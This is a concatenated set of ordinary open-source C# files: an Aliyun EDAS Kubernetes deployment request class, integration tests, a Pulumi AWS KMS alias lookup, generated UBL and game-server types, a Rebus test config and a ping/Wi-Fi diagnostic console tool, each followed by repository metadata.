this.GetType().GetProperty("ProductEndpointMap").SetValue(this, Aliyun.Acs.Edas.Endpoint.endpointMap, null);
this.GetType().GetProperty("ProductEndpointType").SetValue(this, Aliyun.Acs.Edas.Endpoint.endpointRegionalType, null);
}
UriPattern = "/pop/v5/k8s/acs/k8s_apps";
Method = MethodType.POST;
}
private string nasId;
private string webContainer;
private bool? enableAhas;
private string slsConfigs;
private string readiness;
private string packageVersionId;
private int? batchWaitTime;
private string liveness;
private string envs;
private int? cpuLimit;
private string packageVersion;
private string storageType;
private string envFroms;
private string configMountDescs;
private string edasContainerVersion;
private string packageUrl;
private int? memoryLimit;
private string imageTag;
private string deployAcrossZones;
private string deployAcrossNodes;
private int? memoryRequest;
private string image;
private string preStop;
private string mountDescs;
private int? replicas;
private int? cpuRequest;
private string webContainerConfig;
private string localVolume;
private string command;
private string updateStrategy;
private string args;
private string jDK;
private bool? useBodyEncoding;
private string changeOrderDesc;
private string uriEncoding;
private string appId;
private int? batchTimeout;
private string pvcMountDescs;
private string emptyDirs;
private int? mcpuRequest;
private int? mcpuLimit;
private string volumesStr;
private string runtimeClassName;
private string trafficControlStrategy;
private string postStart;
private string javaStartUpConfig;
public string NasId
{
get
{
return nasId;
}
set
{
nasId = value;
DictionaryUtil.Add(QueryParameters, "NasId", value);
}
}
public string WebContainer
{
get
{
return webContainer;
}
set
{
webContainer = value;
DictionaryUtil.Add(QueryParameters, "WebContainer", value);
}
}
public bool? EnableAhas
{
get
{
return enableAhas;
}
set
{
enableAhas = value;
DictionaryUtil.Add(QueryParameters, "EnableAhas", value.ToString());
}
}
public string SlsConfigs
{
get
{
return slsConfigs;
}
set
{
slsConfigs = value;
DictionaryUtil.Add(QueryParameters, "SlsConfigs", value);
}
}
public string Readiness
{
get
{
return readiness;
}
set
{
readiness = value;
DictionaryUtil.Add(QueryParameters, "Readiness", value);
}
}
public string PackageVersionId
{
get
{
return packageVersionId;
}
set
{
packageVersionId = value;
DictionaryUtil.Add(QueryParameters, "PackageVersionId", value);
}
}
public int? BatchWaitTime
{
get
{
return batchWaitTime;
}
set
{
batchWaitTime = value;
DictionaryUtil.Add(QueryParameters, "BatchWaitTime", value.ToString());
}
}
public string Liveness
{
get
{
return liveness;
}
set
{
liveness = value;
DictionaryUtil.Add(QueryParameters, "Liveness", value);
}
}
public string Envs
{
get
{
return envs;
}
set
{
envs = value;
DictionaryUtil.Add(QueryParameters, "Envs", value);
}
}
public int? CpuLimit
{
get
{
return cpuLimit;
}
set
{
cpuLimit = value;
DictionaryUtil.Add(QueryParameters, "CpuLimit", value.ToString());
}
}
public string PackageVersion
{
get
{
return packageVersion;
}
set
{
packageVersion = value;
DictionaryUtil.Add(QueryParameters, "PackageVersion", value);
}
}
public string StorageType
{
get
{
return storageType;
}
set
{
storageType = value;
DictionaryUtil.Add(QueryParameters, "StorageType", value);
}
}
public string EnvFroms
{
get
{
return envFroms;
}
set
{
envFroms = value;
DictionaryUtil.Add(QueryParameters, "EnvFroms", value);
}
}
public string ConfigMountDescs
{
get
{
return configMountDescs;
}
set
{
configMountDescs = value;
DictionaryUtil.Add(QueryParameters, "ConfigMountDescs", value);
}
}
public string EdasContainerVersion
{
get
{
return edasContainerVersion;
}
set
{
edasContainerVersion = value;
DictionaryUtil.Add(QueryParameters, "EdasContainerVersion", value);
}
}
public string PackageUrl
{
get
{
return packageUrl;
}
set
{
packageUrl = value;
DictionaryUtil.Add(QueryParameters, "PackageUrl", value);
}
}
public int? MemoryLimit
{
get
{
return memoryLimit;
}
set
{
memoryLimit = value;
DictionaryUtil.Add(QueryParameters, "MemoryLimit", value.ToString());
}
}
public string ImageTag
{
get
{
return imageTag;
}
set
{
imageTag = value;
DictionaryUtil.Add(QueryParameters, "ImageTag", value);
}
}
public string DeployAcrossZones
{
get
{
return deployAcrossZones;
}
set
{
deployAcrossZones = value;
DictionaryUtil.Add(QueryParameters, "DeployAcrossZones", value);
}
}
public string DeployAcrossNodes
{
get
{
return deployAcrossNodes;
}
set
{
deployAcrossNodes = value;
DictionaryUtil.Add(QueryParameters, "DeployAcrossNodes", value);
}
}
public int? MemoryRequest
{
get
{
return memoryRequest;
}
set
{
memoryRequest = value;
DictionaryUtil.Add(QueryParameters, "MemoryRequest", value.ToString());
}
}
public string Image
{
get
{
return image;
}
set
{
image = value;
DictionaryUtil.Add(QueryParameters, "Image", value);
}
}
public string PreStop
{
get
{
return preStop;
}
set
{
preStop = value;
DictionaryUtil.Add(QueryParameters, "PreStop", value);
}
}
public string MountDescs
{
get
{
return mountDescs;
}
set
{
mountDescs = value;
DictionaryUtil.Add(QueryParameters, "MountDescs", value);
}
}
public int? Replicas
{
get
{
return replicas;
}
set
{
replicas = value;
DictionaryUtil.Add(QueryParameters, "Replicas", value.ToString());
}
}
public int? CpuRequest
{
get
{
return cpuRequest;
}
set
{
cpuRequest = value;
DictionaryUtil.Add(QueryParameters, "CpuRequest", value.ToString());
}
}
public string WebContainerConfig
{
get
{
return webContainerConfig;
}
set
{
webContainerConfig = value;
DictionaryUtil.Add(QueryParameters, "WebContainerConfig", value);
}
}
public string LocalVolume
{
get
{
return localVolume;
}
set
{
localVolume = value;
DictionaryUtil.Add(QueryParameters, "LocalVolume", value);
}
}
public string Command
{
get
{
return command;
}
set
{
command = value;
DictionaryUtil.Add(QueryParameters, "Command", value);
}
}
public string UpdateStrategy
{
get
{
return updateStrategy;
}
set
{
updateStrategy = value;
DictionaryUtil.Add(QueryParameters, "UpdateStrategy", value);
}
}
public string Args
{
get
{
return args;
}
set
{
args = value;
DictionaryUtil.Add(QueryParameters, "Args", value);
}
}
public string JDK
{
get
{
return jDK;
}
set
{
jDK = value;
DictionaryUtil.Add(QueryParameters, "JDK", value);
}
}
public bool? UseBodyEncoding
{
get
{
return useBodyEncoding;
}
set
{
useBodyEncoding = value;
DictionaryUtil.Add(QueryParameters, "UseBodyEncoding", value.ToString());
}
}
public string ChangeOrderDesc
{
get
{
return changeOrderDesc;
}
set
{
changeOrderDesc = value;
DictionaryUtil.Add(QueryParameters, "ChangeOrderDesc", value);
}
}
public string UriEncoding
{
get
{
return uriEncoding;
}
set
{
uriEncoding = value;
DictionaryUtil.Add(QueryParameters, "UriEncoding", value);
}
}
public string AppId
{
get
{
return appId;
}
set
{
appId = value;
DictionaryUtil.Add(QueryParameters, "AppId", value);
}
}
public int? BatchTimeout
{
get
{
return batchTimeout;
}
set
{
batchTimeout = value;
DictionaryUtil.Add(QueryParameters, "BatchTimeout", value.ToString());
}
}
public string PvcMountDescs
{
get
{
return pvcMountDescs;
}
set
{
pvcMountDescs = value;
DictionaryUtil.Add(QueryParameters, "PvcMountDescs", value);
}
}
public string EmptyDirs
{
get
{
return emptyDirs;
}
set
{
emptyDirs = value;
DictionaryUtil.Add(QueryParameters, "EmptyDirs", value);
}
}
public int? McpuRequest
{
get
{
return mcpuRequest;
}
set
{
mcpuRequest = value;
DictionaryUtil.Add(QueryParameters, "McpuRequest", value.ToString());
}
}
public int? McpuLimit
{
get
{
return mcpuLimit;
}
set
{
mcpuLimit = value;
DictionaryUtil.Add(QueryParameters, "McpuLimit", value.ToString());
}
}
public string VolumesStr
{
get
{
return volumesStr;
}
set
{
volumesStr = value;
DictionaryUtil.Add(QueryParameters, "VolumesStr", value);
}
}
public string RuntimeClassName
{
get
{
return runtimeClassName;
}
set
{
runtimeClassName = value;
DictionaryUtil.Add(QueryParameters, "RuntimeClassName", value);
}
}
public string TrafficControlStrategy
{
get
{
return trafficControlStrategy;
}
set
{
trafficControlStrategy = value;
DictionaryUtil.Add(QueryParameters, "TrafficControlStrategy", value);
}
}
public string PostStart
{
get
{
return postStart;
}
set
{
postStart = value;
DictionaryUtil.Add(QueryParameters, "PostStart", value);
}
}
public string JavaStartUpConfig
{
get
{
return javaStartUpConfig;
}
set
{
javaStartUpConfig = value;
DictionaryUtil.Add(QueryParameters, "JavaStartUpConfig", value);
}
}
public override DeployK8sApplicationResponse GetResponse(UnmarshallerContext unmarshallerContext)
{
return DeployK8sApplicationResponseUnmarshaller.Unmarshall(unmarshallerContext);
}
}
}
| 17.212162 | 134 | 0.603831 | [
"Apache-2.0"
] | aliyun/aliyun-openapi-net-sdk | aliyun-net-sdk-edas/Edas/Model/V20170801/DeployK8sApplicationRequest.cs | 12,737 | C# |
using CardsLibrary.Model.Common;
using System;
using System.Collections.Generic;
using System.Text;
namespace CardsLibrary.Model
{
public class Game: Entity
{
public string Name { get; set; }
public List<Table> Tables { get; set; }
}
}
| 19 | 47 | 0.672932 | [
"MIT"
] | SondreVik/CardGameServerTest | CardsLibrary/Model/Game.cs | 268 | C# |
using System;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Net.Http.Json;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc.Testing;
using ProjectBank.Core;
using Xunit;
namespace ProjectBank.Server.Integration.Tests
{
public class CommentTests : IClassFixture<CustomWebApplicationFactory>
{
private readonly HttpClient _client;
private readonly CustomWebApplicationFactory _factory;
public CommentTests(CustomWebApplicationFactory factory)
{
_factory = factory;
_client = factory.CreateClient(new WebApplicationFactoryClientOptions
{
AllowAutoRedirect = false
});
}
[Fact]
public async Task Get_returns_Comments()
{
var comments = await _client.GetFromJsonAsync<CommentDetailsDto[]>("/api/Post/1/comments");
Assert.NotNull(comments);
Assert.True(comments?.Length >= 1);
var comment = comments?.First();
Assert.NotNull(comment);
Assert.Equal(1, comment?.Id);
Assert.Equal("Nice post", comment?.Content);
Assert.Equal("2", comment?.UserOid);
}
[Fact]
public async Task Post_returns_created_Comment_with_location()
{
var comment = new CommentCreateDto
{
Content = "Hello there",
UserOid = "1",
postid = 1
};
var response = await _client.PostAsJsonAsync("/api/Comment", comment);
Assert.Equal(HttpStatusCode.Created, response.StatusCode);
Assert.Equal(new Uri("http://localhost/api/Comment/1/2"), response.Headers.Location);
var created = await response.Content.ReadFromJsonAsync<CommentDetailsDto>();
Assert.NotNull(created);
Assert.Equal(2, created?.Id);
Assert.Equal("Hello there", created?.Content);
Assert.Equal("1", created?.UserOid);
}
}
}
| 31.507692 | 103 | 0.608398 | [
"MIT"
] | REXKrash/BDSA2021-ProjectBank | Server.Integration.Tests/CommentTests.cs | 2,048 | C# |
// *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
// *** Do not edit by hand unless you're certain you know what you are doing! ***
using System;
using System.Collections.Generic;
using System.Collections.Immutable;
using System.Threading.Tasks;
using Pulumi.Serialization;
namespace Pulumi.Aws.Kms
{
public static class GetAlias
{
/// <summary>
/// Use this data source to get the ARN of a KMS key alias.
/// By using this data source, you can reference key alias
/// without having to hard code the ARN as input.
///
/// {{% examples %}}
/// ## Example Usage
/// {{% example %}}
///
/// ```csharp
/// using Pulumi;
/// using Aws = Pulumi.Aws;
///
/// class MyStack : Stack
/// {
/// public MyStack()
/// {
/// var s3 = Output.Create(Aws.Kms.GetAlias.InvokeAsync(new Aws.Kms.GetAliasArgs
/// {
/// Name = "alias/aws/s3",
/// }));
/// }
///
/// }
/// ```
/// {{% /example %}}
/// {{% /examples %}}
/// </summary>
public static Task<GetAliasResult> InvokeAsync(GetAliasArgs args, InvokeOptions? options = null)
=> Pulumi.Deployment.Instance.InvokeAsync<GetAliasResult>("aws:kms/getAlias:getAlias", args ?? new GetAliasArgs(), options.WithVersion());
}
public sealed class GetAliasArgs : Pulumi.InvokeArgs
{
/// <summary>
/// The display name of the alias. The name must start with the word "alias" followed by a forward slash (alias/)
/// </summary>
[Input("name", required: true)]
public string Name { get; set; } = null!;
public GetAliasArgs()
{
}
}
[OutputType]
public sealed class GetAliasResult
{
/// <summary>
/// The Amazon Resource Name(ARN) of the key alias.
/// </summary>
public readonly string Arn;
/// <summary>
/// The provider-assigned unique ID for this managed resource.
/// </summary>
public readonly string Id;
public readonly string Name;
/// <summary>
/// ARN pointed to by the alias.
/// </summary>
public readonly string TargetKeyArn;
/// <summary>
/// Key identifier pointed to by the alias.
/// </summary>
public readonly string TargetKeyId;
[OutputConstructor]
private GetAliasResult(
string arn,
string id,
string name,
string targetKeyArn,
string targetKeyId)
{
Arn = arn;
Id = id;
Name = name;
TargetKeyArn = targetKeyArn;
TargetKeyId = targetKeyId;
}
}
}
| 28.656863 | 150 | 0.524119 | [
"ECL-2.0",
"Apache-2.0"
] | JakeGinnivan/pulumi-aws | sdk/dotnet/Kms/GetAlias.cs | 2,923 | C# |
namespace UblTr.Common
{
[System.CodeDom.Compiler.GeneratedCodeAttribute("xsd", "4.8.3928.0")]
[System.SerializableAttribute()]
[System.Diagnostics.DebuggerStepThroughAttribute()]
[System.ComponentModel.DesignerCategoryAttribute("code")]
[System.Xml.Serialization.XmlTypeAttribute(Namespace = "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2")]
[System.Xml.Serialization.XmlRootAttribute("ReminderTypeCode", Namespace = "urn:oasis:names:specification:ubl:schema:xsd:CommonBasicComponents-2", IsNullable = false)]
public partial class ReminderTypeCodeType : CodeType1
{
}
} | 52.416667 | 171 | 0.772655 | [
"MIT"
] | canyener/Ubl-Tr | Ubl-Tr/Common/CommonBasicComponents/ReminderTypeCodeType.cs | 629 | C# |
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.CodeAnalysis.CSharp.Syntax;
namespace Microsoft.CodeAnalysis.CSharp.CodeStyle.TypeStyle
{
[Flags]
internal enum TypeStylePreference
{
None = 0,
ImplicitTypeForIntrinsicTypes = 1 << 0,
ImplicitTypeWhereApparent = 1 << 1,
ImplicitTypeWherePossible = 1 << 2,
}
} | 29.857143 | 161 | 0.728868 | [
"Apache-2.0"
] | AArnott/roslyn | src/Workspaces/CSharp/Portable/CodeStyle/TypeStyle/TypeStyle.cs | 629 | C# |
/*
© (ɔ) QuoInsight
*/
using System;
using System.Runtime.InteropServices; // DllImport
using System.Net.NetworkInformation;
using System.Management;
namespace myNameSpace {
class myClass {
public static bool consoleCancelled = false;
public static int timeout=2000;
public static string pingTarget="", nicInfo="", logFile="ping.net.log";
public static DateTime startTime = DateTime.Now;
public static long i=0, pingCount=1800, responseCount=0, responseTime=0, totalResponseTime=0, minResponseTime=-1, maxResponseTime=0;
static void println(string txt) {
string errMsg = "";
try { Console.WriteLine(txt); } catch(Exception e) { errMsg = e.Message; }
try { if (logFile!="") using (System.IO.StreamWriter w = System.IO.File.AppendText(logFile)) w.WriteLine(txt);
} catch(Exception e) { errMsg = e.Message; }
try { if (errMsg!="") Console.Error.WriteLine(errMsg); } catch(Exception e) { errMsg = e.Message; }
}
static void printSummary() {
println(""); if (nicInfo!="") println(nicInfo);
println(
"Target:" + pingTarget + " Duration:" + startTime.ToString("yyyy-MM-dd HH:mm:ss", System.Globalization.CultureInfo.InvariantCulture)
+ " - " + DateTime.Now.ToString("HH:mm:ss", System.Globalization.CultureInfo.InvariantCulture) + "\n"
+ "Reply:" + responseCount + "/" + i + " (" + Math.Round((double)100*(i-responseCount)/i) + "% loss) "
+ "Min:" + minResponseTime + "ms Max:" + maxResponseTime + "ms Avg:" + Math.Round((double)totalResponseTime/responseCount) + "ms"
);
return;
}
[DllImport("Kernel32")] public static extern bool SetConsoleCtrlHandler(HandlerRoutine handler, bool Add);
public delegate bool HandlerRoutine(CtrlTypes CtrlType);
public static HandlerRoutine myConsoleCtrlHandler; // will need this as static to keep it for final garbage collector [ http://stackoverflow.com/questions/6783561/nullreferenceexception-with-no-stack-trace-when-hooking-setconsolectrlhandler ]
public enum CtrlTypes {
CTRL_C_EVENT=0, CTRL_BREAK_EVENT, CTRL_CLOSE_EVENT,
CTRL_LOGOFF_EVENT=5, CTRL_SHUTDOWN_EVENT
}
static bool myConsoleCtrlHandlerCallbackFunction(CtrlTypes ctrlType) {
consoleCancelled = true;
switch (ctrlType) {
case CtrlTypes.CTRL_C_EVENT:
Console.Error.WriteLine("^CTRL_C_EVENT"); break;
case CtrlTypes.CTRL_BREAK_EVENT:
Console.Error.WriteLine("^CTRL_BREAK_EVENT"); break;
case CtrlTypes.CTRL_CLOSE_EVENT:
Console.Error.WriteLine("^CTRL_CLOSE_EVENT"); break;
case CtrlTypes.CTRL_LOGOFF_EVENT:
Console.Error.WriteLine("^CTRL_LOGOFF_EVENT"); break;
case CtrlTypes.CTRL_SHUTDOWN_EVENT:
Console.Error.WriteLine("^CTRL_SHUTDOWN_EVENT"); break;
}
//i++; nicInfo=getNicInfo(); printSummary();
System.Threading.Thread.Sleep(30000); // 3000
System.Environment.Exit(1);
return true; // If the function handles the control signal, it should return TRUE
}
static void Main(string[] args) {
if (args.Length > 0) pingTarget = args[0];
if (args.Length > 1) long.TryParse(args[1], out pingCount); // Convert.ToInt64(args[1]);
if (args.Length > 2) logFile = args[2]; if (logFile=="-") logFile="";
if (pingTarget=="/?" || pingTarget=="-?" || pingTarget=="?" || pingTarget=="/h" || pingTarget=="-h" || pingTarget=="/help" || pingTarget=="-help") {
Console.Error.WriteLine();
Console.Error.WriteLine("Syntax: ping.net.exe [ipAddr/hostName [count [logFile]]]"); // args[0] args[1]
Console.Error.WriteLine("Default: ping.net.exe <defaultGateway> 1800 ping.net.log"); // args[0] args[1]
Console.Error.WriteLine();
return;
}
nicInfo = getNicInfo();
if (pingTarget=="") {
var m = (new System.Text.RegularExpressions.Regex(@" GW:(\S+)")).Match(nicInfo);
pingTarget = (m.Success) ? (m.Groups[1]).ToString() : System.Net.IPAddress.Loopback.ToString();
}
if (pingTarget=="") pingTarget=System.Net.IPAddress.Loopback.ToString();
println(""); if (nicInfo!="") println(nicInfo);
myConsoleCtrlHandler = new HandlerRoutine(myConsoleCtrlHandlerCallbackFunction); // will need to keep this in a static var for final garbage collector [ http://stackoverflow.com/questions/6783561/nullreferenceexception-with-no-stack-trace-when-hooking-setconsolectrlhandler ]
SetConsoleCtrlHandler(myConsoleCtrlHandler, true);
for ( i=0; (pingCount==-1 || i < pingCount); i++ ) {
if (consoleCancelled) break;
if (i>0) System.Threading.Thread.Sleep(1000) ;
responseTime = ping(pingTarget, timeout); if (responseTime > -1) {
responseCount++;
totalResponseTime += responseTime;
if (minResponseTime < 0 || responseTime < minResponseTime) minResponseTime = responseTime;
if (responseTime > maxResponseTime) maxResponseTime = responseTime;
}
}
nicInfo=getNicInfo(); printSummary();
if (consoleCancelled) try {
Console.Error.WriteLine("terminating... press <enter> to exit immediately.");
String line = Console.ReadLine();
} catch(Exception e) { var errMsg = e.Message; }
return;
} // Main()
public static long ping(string pingTarget, int timeout) {
// Ping's the local machine.
System.Net.NetworkInformation.Ping pingSender = new System.Net.NetworkInformation.Ping();
System.Net.NetworkInformation.PingReply reply;
try {
reply = pingSender.Send(pingTarget, timeout);
} catch(Exception e) {
Console.Error.WriteLine(e.ToString().Split('\n')[0]); // e.Message
return -1;
}
if (reply.Status == System.Net.NetworkInformation.IPStatus.Success) {
println(
DateTime.Now.ToString("HH:mm:ss.fff", System.Globalization.CultureInfo.InvariantCulture) // "yyyy-MM-dd"
+ " Reply from " + reply.Address.ToString() + ": bytes=" + reply.Buffer.Length
+ " time=" + reply.RoundtripTime + "ms TTL=" + reply.Options.Ttl
);
//Console.WriteLine("Don't fragment: {0}", reply.Options.DontFragment);
return reply.RoundtripTime;
} else {
println(DateTime.Now.ToString("HH:mm:ss.fff ", System.Globalization.CultureInfo.InvariantCulture) + reply.Status.ToString());
return -1;
}
} // ping()
public static string getNicInfo() {
string nicInfo="", macAddr="";
bool foundDefaultGateway = false;
try {
foreach (var nic in System.Net.NetworkInformation.NetworkInterface.GetAllNetworkInterfaces()) {
if ( nic.OperationalStatus == System.Net.NetworkInformation.OperationalStatus.Up
&& (nic.NetworkInterfaceType == System.Net.NetworkInformation.NetworkInterfaceType.Wireless80211
|| nic.NetworkInterfaceType == System.Net.NetworkInformation.NetworkInterfaceType.Ethernet)
) {
macAddr = nic.GetPhysicalAddress().ToString();
nicInfo = Environment.MachineName + " [" + nic.Name + "] Type:" + nic.NetworkInterfaceType + " MAC:" + macAddr + "\n";
if (nic.NetworkInterfaceType.ToString().IndexOf("Wireless")==0) {
nicInfo += " " + getConnectedSsidNetsh(macAddr); // Windows.Networking.Connectivity.GetConnectedSsid();
}
var props = nic.GetIPProperties(); if (props == null) {
continue;
} else {
foreach (var ip in props.UnicastAddresses) {
if (ip.Address.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) {
nicInfo += " IP:" + ip.Address.ToString();
//break;
}
}
foreach (var gwAddrInfo in props.GatewayAddresses) {
var gwAddr = gwAddrInfo.Address;
if (gwAddr.AddressFamily==System.Net.Sockets.AddressFamily.InterNetwork && !gwAddr.ToString().Equals("0.0.0.0")) {
nicInfo += " GW:" + gwAddr.ToString();
foundDefaultGateway = true;
//break;
}
}
if (foundDefaultGateway) break;
} // props
} // nic
} // GetAllNetworkInterfaces
} catch(Exception e) { return "getNicInfo(): " + e.Message; }
return nicInfo;
}
// Ref: http://stackoverflow.com/questions/431755/get-ssid-of-the-wireless-network-i-am-connected-to-with-c-sharp-net-on-windows
static string getConnectedSsidWMI() {
System.Management.ManagementObjectSearcher searcher = new System.Management.ManagementObjectSearcher(
"root\\WMI", "SELECT * FROM MSNdis_80211_ServiceSetIdentifier"
);
foreach (System.Management.ManagementObject queryObj in searcher.Get()) {
if( queryObj["Ndis80211SsId"] != null ) {
Byte[] arrNdis80211SsId = (Byte[])(queryObj["Ndis80211SsId"]);
string ssid = "";
foreach (Byte arrValue in arrNdis80211SsId) {
ssid += arrValue.ToString();
}
return ssid;
}
}
return "";
}
static string getTextAfterFirstColon(string txt) {
return System.Text.RegularExpressions.Regex.Replace(txt, @"^([^:]*:\s*)", "");
}
static string getConnectedSsidNetsh(string macAddr) {
string ssid = "";
try {
var process = new System.Diagnostics.Process {
StartInfo = {
FileName = "netsh.exe",
Arguments = "wlan show interfaces",
WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden,
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
}
}; process.Start();
var output = process.StandardOutput.ReadToEnd();
bool foundMacAddr = false;
foreach( var line in output.Split(new[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries) ) {
if (foundMacAddr) {
if ( line.Contains("BSSID") ) {
ssid += " BSSID:" + getTextAfterFirstColon(line.Trim()).Replace(":","");
} else if ( line.Contains("SSID") ) {
ssid += getTextAfterFirstColon(line.Trim());
} else if ( line.IndexOf("Signal", StringComparison.OrdinalIgnoreCase) > 0 ) {
ssid += " [" + getTextAfterFirstColon(line.Trim()) + "]";
break;
}
} else {
foundMacAddr = ( line.ToUpper().Replace(":","").Replace("-","").IndexOf(macAddr) > 0 );
}
}
} catch(Exception e) { return "getConnectedSsidNetsh(): " + e.Message; }
return ssid;
}
} // myClass
} // myNameSpace
| 47.170306 | 281 | 0.623773 | [
"MIT"
] | QuoInsight/ping.net | ping.net.cs | 10,804 | C# |
using System;
using UltimaOnline.Network;
namespace UltimaOnline.Gumps
{
public class GumpLabelCropped : GumpEntry
{
private int m_X, m_Y;
private int m_Width, m_Height;
private int m_Hue;
private string m_Text;
public int X
{
get
{
return m_X;
}
set
{
Delta(ref m_X, value);
}
}
public int Y
{
get
{
return m_Y;
}
set
{
Delta(ref m_Y, value);
}
}
public int Width
{
get
{
return m_Width;
}
set
{
Delta(ref m_Width, value);
}
}
public int Height
{
get
{
return m_Height;
}
set
{
Delta(ref m_Height, value);
}
}
public int Hue
{
get
{
return m_Hue;
}
set
{
Delta(ref m_Hue, value);
}
}
public string Text
{
get
{
return m_Text;
}
set
{
Delta(ref m_Text, value);
}
}
public GumpLabelCropped(int x, int y, int width, int height, int hue, string text)
{
m_X = x;
m_Y = y;
m_Width = width;
m_Height = height;
m_Hue = hue;
m_Text = text;
}
public override string Compile()
{
return String.Format("{{ croppedtext {0} {1} {2} {3} {4} {5} }}", m_X, m_Y, m_Width, m_Height, m_Hue, Parent.Intern(m_Text));
}
private static byte[] m_LayoutName = Gump.StringToBuffer("croppedtext");
public override void AppendTo(IGumpWriter disp)
{
disp.AppendLayout(m_LayoutName);
disp.AppendLayout(m_X);
disp.AppendLayout(m_Y);
disp.AppendLayout(m_Width);
disp.AppendLayout(m_Height);
disp.AppendLayout(m_Hue);
disp.AppendLayout(Parent.Intern(m_Text));
}
}
} | 22.247788 | 138 | 0.378282 | [
"MIT"
] | netcode-gamer/game.ultimaonline.io | UltimaOnline/Gumps/GumpLabelCropped.cs | 2,514 | C# |
using System;
using System.IO;
namespace Rebus.AzureTables.Tests
{
static class TsTestConfig
{
static readonly Lazy<string> LazyConnectionString = new(() =>
{
var filePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "azure_storage_connection_string.txt");
if (File.Exists(filePath))
{
return ConnectionStringFromFile(filePath);
}
const string variableName = "rebus2_ts_connection_string";
var environmentVariable = Environment.GetEnvironmentVariable(variableName);
if (!string.IsNullOrWhiteSpace(environmentVariable))
{
return ConnectionStringFromEnvironmentVariable(variableName);
}
Console.WriteLine($@"No connection string was found in file with path
{filePath}
and the environment variable
rebus2_ts_connection_string
was empty.
The local development storage will be used.");
return "UseDevelopmentStorage=true";
});
static string GetConnectionString()
{
var filePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "azure_storage_connection_string.txt");
if (File.Exists(filePath))
{
return ConnectionStringFromFile(filePath);
}
const string variableName = "rebus2_ts_connection_string";
var environmentVariable = Environment.GetEnvironmentVariable(variableName);
if (!string.IsNullOrWhiteSpace(environmentVariable)) return ConnectionStringFromEnvironmentVariable(variableName);
return "UseDevelopmentStorage=true";
throw new ApplicationException($@"Could not get Table Storage connection string. Tried to load from file
{filePath}
but the file did not exist. Also tried to get the environment variable named
{variableName}
but it was empty (or didn't exist).
Please provide a connection string through one of the methods mentioned above.
");
}
public static string ConnectionString => LazyConnectionString.Value;
static string ConnectionStringFromFile(string filePath)
{
Console.WriteLine("Using Table Storage connection string from file {0}", filePath);
return File.ReadAllText(filePath);
}
static string ConnectionStringFromEnvironmentVariable(string environmentVariableName)
{
var value = Environment.GetEnvironmentVariable(environmentVariableName);
Console.WriteLine("Using Table Storage connection string from env variable {0}", environmentVariableName);
return value;
}
}
}
| 30.933333 | 126 | 0.653376 | [
"MIT"
] | rebus-org/Rebus.AzureTables | Rebus.AzureTables.Tests/TsTestConfig.cs | 2,786 | C# |
/*
* Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/*
* Do not modify this file. This file is generated from the autoscaling-2011-01-01.normal.json service model.
*/
using System;
using System.Collections.Generic;
using System.Xml.Serialization;
using System.Text;
using System.IO;
using Amazon.Runtime;
using Amazon.Runtime.Internal;
namespace Amazon.AutoScaling.Model
{
public partial class DeleteTagsResult : AmazonWebServiceResponse
{
}
} | 29.323529 | 109 | 0.745236 | [
"Apache-2.0"
] | amazon-archives/aws-sdk-xamarin | AWS.XamarinSDK/AWSSDK_Android/Amazon.AutoScaling/Model/DeleteTagsResult.cs | 997 | C# |
using System.Collections.Generic;
using Newtonsoft.Json;
namespace VueExample.Models.Charts.Plotly
{
public class Trace
{
[JsonProperty(PropertyName = "y")]
public List<double> ValueList { get; set; }
[JsonProperty(PropertyName = "type")]
public string Type { get; set; }
[JsonProperty(PropertyName = "name")]
public string Name { get; set; }
[JsonProperty(PropertyName = "marker")]
public Marker Marker { get; set; }
[JsonProperty(PropertyName = "boxpoints")]
public string Boxpoint { get; set; }
[JsonProperty(PropertyName = "boxmean")]
public string Boxmean { get; set; }
public Trace(List<double> valueList, string name, string boxmean, string boxpoints)
{
ValueList = valueList;
Type = "box";
Name = name;
Marker = new Marker{Size = 5, Symbol = "circle", Opacity = 0.5};
Boxpoint = boxpoints;
Boxmean = boxmean;
}
}
} | 33.193548 | 91 | 0.582119 | [
"MIT"
] | 7is7/SVR2.0 | Models/Charts/Plotly/Trace.cs | 1,029 | C# |
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("BI_FileSystem.iOS")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("BI_FileSystem.iOS")]
[assembly: AssemblyCopyright("Copyright © 2014")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("72bdc44f-c588-44f3-b6df-9aace7daafdd")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| 38.027027 | 84 | 0.745558 | [
"MIT"
] | ytabuchi/BuildInsider_FileSystem | BI_FileSystem/BI_FileSystem/BI_FileSystem.iOS/Properties/AssemblyInfo.cs | 1,410 | C# |
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
